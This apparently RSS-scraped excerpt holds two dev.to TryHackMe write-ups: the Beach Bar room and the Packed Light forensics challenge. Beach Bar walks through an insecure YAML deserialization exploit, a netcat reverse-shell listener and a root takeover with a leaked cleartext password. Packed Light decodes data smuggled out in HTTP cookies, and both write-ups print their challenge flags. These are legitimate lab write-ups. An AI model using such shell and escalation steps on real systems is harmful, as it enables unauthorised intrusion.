      <description>&lt;p&gt;Introduction&lt;br&gt;
In this write-up, we will walk through the Beach Bar room on TryHackMe. We will cover how we accessed the web application using default credentials, how directory enumeration revealed hidden web endpoints, how we navigated directly to the import page, how an insecure YAML deserialization vulnerability allowed us to gain a reverse shell, how we located and read the user flag, and how process enumeration exposed cleartext credentials leading to a full root escalation.&lt;/p&gt;

&lt;p&gt;Phase 1: Accessing the Web Application &amp;amp; Reconnaissance&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Logging into the DJ Booth
Upon navigating to the target web application, we are greeted with the DJ booth sign-in page. We authenticate using the default credentials for the room:&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Username: DJ&lt;br&gt;
Password: DJ&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fhqp2p4lj1z0up4s8swtx.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fhqp2p4lj1z0up4s8swtx.webp" alt=" " width="799" height="322"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Frkvoglnvwg4z9mzplkbo.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Frkvoglnvwg4z9mzplkbo.webp" alt=" " width="800" height="351"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Reconnaissance &amp;amp; Nmap Scan
We also run an Nmap scan against the target IP to discover open ports and services:&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;nmap -sV -sC &lt;br&gt;
The scan reveals two main open ports:&lt;/p&gt;

&lt;p&gt;Port 22/tcp (SSH): Running OpenSSH 9.6p1.&lt;br&gt;
Port 80/tcp (HTTP): Running a web application powered by Gunicorn.&lt;br&gt;
Press enter or click to view image in full size&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fo19kxpxsppetgup80v9y.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fo19kxpxsppetgup80v9y.webp" alt=" " width="800" height="313"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Directory Fuzzing with Gobuster&lt;br&gt;
To discover hidden directories and endpoints on the web server, we run gobuster using the medium directory wordlist:&lt;/p&gt;

&lt;p&gt;gobuster dir -u http:// -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt&lt;br&gt;
As seen in our directory enumeration results:&lt;/p&gt;

&lt;p&gt;/login (Status: 200)&lt;br&gt;
/logout (Status: 302)&lt;br&gt;
/export (Status: 302)&lt;br&gt;
/dashboard (Status: 302)&lt;br&gt;
/import (Status: 302)&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F3w5i4zjl0u6dwnbxyaia.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F3w5i4zjl0u6dwnbxyaia.webp" alt=" " width="800" height="287"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Navigating to the Import Page&lt;br&gt;
After running Gobuster and discovering the available endpoints, we append /import to the target URL (http:///import) in our browser to access the playlist management and import features.&lt;/p&gt;

&lt;p&gt;Phase 2: Exploiting Insecure Deserialization (RCE)&lt;br&gt;
The application features an Import function at this endpoint that processes uploaded playlist YAML files. Reviewing the backend code reveals an insecure deserialization flaw using yaml.load() without a safe loader, which allows Remote Code Execution (RCE).&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fwwxp08l4lhz6fbtm7j4z.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fwwxp08l4lhz6fbtm7j4z.webp" alt=" " width="800" height="694"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Setting Up a Netcat Listener
Open a Netcat listener on your Kali terminal to catch the reverse shell:&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;nc -lvnp 4444&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fn84cdo9m6jribcylk9ki.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fn84cdo9m6jribcylk9ki.webp" alt=" " width="800" height="659"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Crafting and Submitting the Payload
Instead of file upload scripts, we can target the input form directly. Copy the following payload into the Playlist YAML field on the web interface:&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fbvwaqy2pbkunv8umcbek.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fbvwaqy2pbkunv8umcbek.webp" alt=" " width="800" height="351"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fyt75i39pykrzth61d0dd.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fyt75i39pykrzth61d0dd.webp" alt=" " width="714" height="227"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;(Make sure to change 10.14.X.X to your Kali tun0 IP address, and 4444 to your open listener port).&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Triggering the Exploit
Click on Load playlist. This executes the payload through the application’s vulnerable YAML parser, granting us an initial foothold as the low-privilege user bartender.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F5vm4ltkmxf8d2n020lu9.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F5vm4ltkmxf8d2n020lu9.webp" alt=" " width="800" height="662"&gt;&lt;/a&gt;&lt;br&gt;
Phase 3: Finding the User Flag&lt;br&gt;
Once we obtain our initial reverse shell connection, we can navigate through the file system to locate the user flag.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fwgxwtbzljbzdezbkpvyl.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fwgxwtbzljbzdezbkpvyl.webp" alt=" " width="799" height="199"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Navigate to the home directory of the bartender&lt;br&gt;
cd /home/bartender&lt;br&gt;
List the directory contents to find user.txt:&lt;/p&gt;

&lt;p&gt;ls&lt;br&gt;
Read the contents of the flag file:&lt;/p&gt;

&lt;p&gt;cat user.txt&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fxl1elosug2v26zq9xkmq.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fxl1elosug2v26zq9xkmq.webp" alt=" " width="800" height="250"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;User Flag Found: THM{................................}&lt;/p&gt;

&lt;p&gt;Phase 4: Privilege Escalation via Process Enumeration&lt;br&gt;
Once inside the system as bartender, we look for running services to find potential privilege escalation vectors. Running ps aux | grep python reveals the active background processes:&lt;/p&gt;

&lt;p&gt;ps aux | grep python&lt;br&gt;
As shown in our process inspection:&lt;/p&gt;

&lt;p&gt;The jukeboxd.py script runs directly under the root user.&lt;br&gt;
It accidentally passes the stream password in cleartext via command-line arguments: --stream-pass SunsetSpritz2024!.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fj86rmw39z8y5d3lj44q4.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fj86rmw39z8y5d3lj44q4.webp" alt=" " width="800" height="256"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Phase 5: Gaining Root Access &amp;amp; Finding the Root Flag&lt;br&gt;
Switching to Root: With the exposed cleartext password (SunsetSpritz2024!), we leverage credential reuse to switch user contexts directly to the administrator:&lt;br&gt;
su - root&lt;br&gt;
Enter the password when prompted.&lt;br&gt;
password : SunsetSpritz2024!&lt;br&gt;
Locating and Reading the Root Flag:&lt;br&gt;
Navigate to the root directory and list its contents:&lt;br&gt;
cd /root&lt;br&gt;
ls&lt;br&gt;
Read the contents of root.txt:&lt;br&gt;
cat root.txt&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F6i530snpb8rw54b3rv2o.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F6i530snpb8rw54b3rv2o.webp" alt=" " width="797" height="106"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Root Flag Found: THM{..................................}&lt;/p&gt;

</description>
      <category>ai</category>
      <category>beginners</category>
      <category>tutorial</category>
      <category>security</category>
    </item>
    <item>
      <title>🕵️‍♂️ TryHackMe Write-up: Packed Light (Network Forensics &amp; Decryption)</title>
      <dc:creator> Mohammad ali</dc:creator>
      <pubDate>Mon, 03 Aug 2026 23:19:55 +0000</pubDate>
      <link>https://dev.to/mohammadali_30/tryhackme-write-up-packed-light-network-forensics-decryption-ndb</link>
      <guid>https://dev.to/mohammadali_30/tryhackme-write-up-packed-light-network-forensics-decryption-ndb</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fdo6jw5rsedr417edud0p.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fdo6jw5rsedr417edud0p.webp" alt=" " width="799" height="351"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;📑 Challenge Overview&lt;br&gt;
A short capture from the VERA hotel guest network was logged before the connection dropped. Small packets are suspiciously being sent at regular intervals. Someone is smuggling out sensitive data disguised inside ordinary HTTP traffic.&lt;/p&gt;

&lt;p&gt;Objectives:&lt;/p&gt;

&lt;p&gt;Analyze the provided traffic.pcapng capture file.&lt;br&gt;
Identify the covert communication channel used for data exfiltration.&lt;br&gt;
Extract and reassemble the exfiltrated keystrokes/data.&lt;br&gt;
Decrypt the recovered data and retrieve the flag.&lt;br&gt;
🛠️ Step 1: Initial Setup &amp;amp; Extraction&lt;br&gt;
Start by extracting the challenge zip file on your Kali Linux environment:&lt;/p&gt;

&lt;h1&gt;
  
  
  Unzip the challenge archive
&lt;/h1&gt;

&lt;p&gt;unzip packed-light-forensics-1784224937659.zip&lt;/p&gt;

&lt;h1&gt;
  
  
  Navigate to the directory and inspect files
&lt;/h1&gt;

&lt;p&gt;cd packed-light/&lt;br&gt;
ls -la&lt;/p&gt;

&lt;p&gt;Step 2: Traffic Analysis using TShark&lt;br&gt;
Inspect the packet capture (traffic.pcapng) for HTTP requests directed to port 8080. We notice traffic featuring a custom User-Agent (ByteLotusClient) along with a suspicious cookie named hotel_sess_state.&lt;/p&gt;

&lt;p&gt;Use tshark to filter the HTTP requests and inspect the cookie values:&lt;/p&gt;

&lt;p&gt;tshark -r traffic.pcapng -Y “http.request &amp;amp;&amp;amp; tcp.port == 8080” -T fields -e http.cookie&lt;/p&gt;

&lt;p&gt;Observation: The requests contain Base64-encoded strings inside hotel_sess_state=... cookies. These represent exfiltrated character values (keystrokes) sent sequentially.&lt;/p&gt;

&lt;p&gt;🐍 Step 3: Python Automation &amp;amp; Decryption Script&lt;br&gt;
To handle packet parsing, deduplication, Base64 decoding, and XOR decryption, we write a Python script using scapy:&lt;/p&gt;

&lt;p&gt;nano extract_clean.py&lt;/p&gt;

&lt;p&gt;Python Script (extract_clean.py):&lt;br&gt;
import base64&lt;br&gt;
from scapy.all import rdpcap, Raw, TCP&lt;/p&gt;

&lt;h1&gt;
  
  
  Load the pcap file
&lt;/h1&gt;

&lt;p&gt;packets = rdpcap(“traffic.pcapng”)&lt;/p&gt;

&lt;p&gt;extracted = []&lt;br&gt;
for pkt in packets:&lt;br&gt;
if pkt.haslayer(TCP) and pkt[TCP].dport == 8080 and pkt.haslayer(Raw):&lt;br&gt;
payload = bytes(pkt[Raw].load)&lt;br&gt;
if b”hotel_sess_state=” in payload and b”ByteLotusClient” in payload:&lt;br&gt;
try:&lt;br&gt;
cookie = payload.split(b”hotel_sess_state=”)[1].split(b”\r\n”)[0].split(b”;”)[0].decode(“utf-8”)&lt;br&gt;
extracted.append(cookie)&lt;br&gt;
except Exception:&lt;br&gt;
pass&lt;/p&gt;

&lt;h1&gt;
  
  
  Decrypt using XOR with key byte ‘H’
&lt;/h1&gt;

&lt;p&gt;flag = “”.join(chr(base64.b64decode(c)[0] ^ ord(“H”)) for c in extracted)&lt;/p&gt;

&lt;p&gt;print(“\n[+] The Flag:”)&lt;br&gt;
print(flag)&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fpi81rannil8dj8nw6md9.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fpi81rannil8dj8nw6md9.webp" alt=" " width="800" height="425"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;🚩 Step 4: Execution &amp;amp; Retrieving the Flag&lt;br&gt;
Run the script in your terminal:&lt;/p&gt;

&lt;p&gt;python3 extract_clean.py&lt;/p&gt;

&lt;p&gt;[+] The Flag:&lt;br&gt;
THM{V3r4_1s_w4tch1ng_0veR_you}&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Falmx6sj5tioeru4f15md.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Falmx6sj5tioeru4f15md.webp" alt=" " width="254" height="100"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;🏁 Conclusion&lt;br&gt;
Final Flag: THM{V3r4_1s_w4tch1ng_0veR_you}&lt;/p&gt;

&lt;p&gt;Key Takeaways:&lt;/p&gt;

&lt;p&gt;Data exfiltration techniques often hide within benign-looking HTTP headers and Cookie fields.&lt;br&gt;
Analyzing request signatures (like custom User-Agents) quickly isolates suspicious packets.&lt;br&gt;
Scripting with Scapy allows seamless parsing and automated decryption of custom network traffic.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fo2b87px9tzrvhcmm07sb.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fo2b87px9tzrvhcmm07sb.webp" alt=" " width="800" height="365"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>security</category>
      <category>tutorial</category>
      <category>ctf</category>
    </item>
  </channel>
</rss>
